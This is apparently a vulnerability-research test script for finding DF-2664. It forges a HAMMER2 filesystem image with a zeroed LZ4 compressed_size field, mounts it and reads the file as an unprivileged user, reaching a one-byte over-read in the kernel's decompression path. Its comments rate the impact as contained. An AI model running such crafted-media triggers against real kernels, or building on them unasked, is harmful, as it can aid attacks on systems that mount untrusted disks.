DF-2664 / hammer2_trigger.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 | #!/bin/sh # DF-2664 โ in-kernel reachability + containment test via crafted HAMMER2 image. # # Adapted from the DF-0805 trigger (same forger family). The ONLY change: # the on-disk 4-byte LZ4 compressed_size header is overwritten with # 0x00000000 instead of 0x7FFFFFFF. # # Why this reaches the finding (hammer2_strategy.c): # :198 compressed_size = *(const int *)data; -> 0 # :199 KKASSERT((uint32_t)0 <= bytes - sizeof(int)); -> PASSES (0 <= N) # :202 LZ4_decompress_safe(&data[4], cbuf, 0, b_bufsize) # -> hammer2_lz4.c:418 `token = *ip++` reads data[4] with iend==ip: # the 1-byte speculative read past the declared input end. # # Expected on the STOCK INVARIANTS kernel: # - NO panic (KKASSERT passes: 0 is within bounds) # - dmesg: "READ PATH: Error during decompression" (result < 0; the # stream can never parse with iend==ip) # - the file reads back as 64 KiB of ZEROES (caller bzeros on error, # strategy.c:206-216) # - guest stays healthy # => the inputSize==0 call is reachable in-kernel from on-media data, # and its impact on this caller is fully contained (no observable # info leak, no corruption): severity Low / hardening. set -eu PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin IMG=/tmp/df2664.h2 MNT=/tmp/df2664_mnt FILE_IN_IMG=/lz4_target VNDISK=vn3 SETCHECK=/root/setcheck SIG="DF2664LIVEPROBE" echo "[trigger] cleaning up any previous run" umount "$MNT" 2>/dev/null || true vnconfig -u "$VNDISK" 2>/dev/null || true rm -f "$IMG" mkdir -p "$MNT" echo "[trigger] creating 256 MB HAMMER2 image at $IMG" dd if=/dev/zero of="$IMG" bs=1m count=256 status=none newfs_hammer2 "$IMG" >/dev/null vnconfig -c -s labels "$VNDISK" "$IMG" DEV=/dev/"$VNDISK"s0 [ -c "$DEV" ] || DEV=/dev/"$VNDISK" echo "[trigger] using device $DEV" mount_hammer2 "$DEV" "$MNT" echo "[trigger] mounted: $(mount | grep "$MNT" | head -1)" echo "[trigger] writing a unique-signature file (forces LZ4 path, not a hole)" { printf "%s" "$SIG" yes B | head -c 65520 } > "$MNT$FILE_IN_IMG" ls -l "$MNT$FILE_IN_IMG" echo "[trigger] disabling the per-file check code via HAMMER2IOC_INODE_SET" "$SETCHECK" "$MNT$FILE_IN_IMG" 0 echo "[trigger] re-writing the file so the data block is re-stored with the new check_algo" { printf "%s" "$SIG" yes B | head -c 65520 } > "$MNT$FILE_IN_IMG" sync umount "$MNT" vnconfig -u "$VNDISK" echo "[trigger] scanning image for signature '$SIG'" SIGOFFSET=$(grep -aob "$SIG" "$IMG" | head -1 | cut -d: -f1) if [ -z "$SIGOFFSET" ]; then echo "[trigger] ERROR: signature not found"; exit 2 fi echo "[trigger] signature found at byte offset $SIGOFFSET" # On-disk layout (verified empirically by DF-0805): # [4-byte compressed_size][token][ext][literals...] with signature at # SIGOFFSET; size field at SIGOFFSET-6. FIELDSIZE_OFFSET=$((SIGOFFSET - 6)) echo "[trigger] current size field:" dd if="$IMG" bs=1 skip="$FIELDSIZE_OFFSET" count=4 status=none | od -An -tx1 | head -1 echo "[trigger] overwriting field with 0x00000000 (compressed_size = 0)" printf '\000\000\000\000' | dd of="$IMG" bs=1 seek="$FIELDSIZE_OFFSET" count=4 conv=notrunc status=none echo "[trigger] re-attaching and re-mounting the crafted image" vnconfig -c -s labels "$VNDISK" "$IMG" DEV=/dev/"$VNDISK"s0 [ -c "$DEV" ] || DEV=/dev/"$VNDISK" mount_hammer2 "$DEV" "$MNT" chown 1001:1001 "$MNT$FILE_IN_IMG" chmod 0644 "$MNT$FILE_IN_IMG" sync; sync; sync echo "[trigger] reading the file as maxx (uid 1001) โ triggers LZ4_decompress_safe(inputSize=0)" su -m maxx -c "cat '$MNT$FILE_IN_IMG' | wc -c; cat '$MNT$FILE_IN_IMG' | od -An -tx1 | sort -u | head -3" echo "[trigger] read completed; guest alive." echo "[trigger] dmesg tail (expect 'READ PATH: Error during decompression'):" dmesg | tail -5 umount "$MNT" vnconfig -u "$VNDISK" echo "[trigger] DONE โ no panic, image detached cleanly" |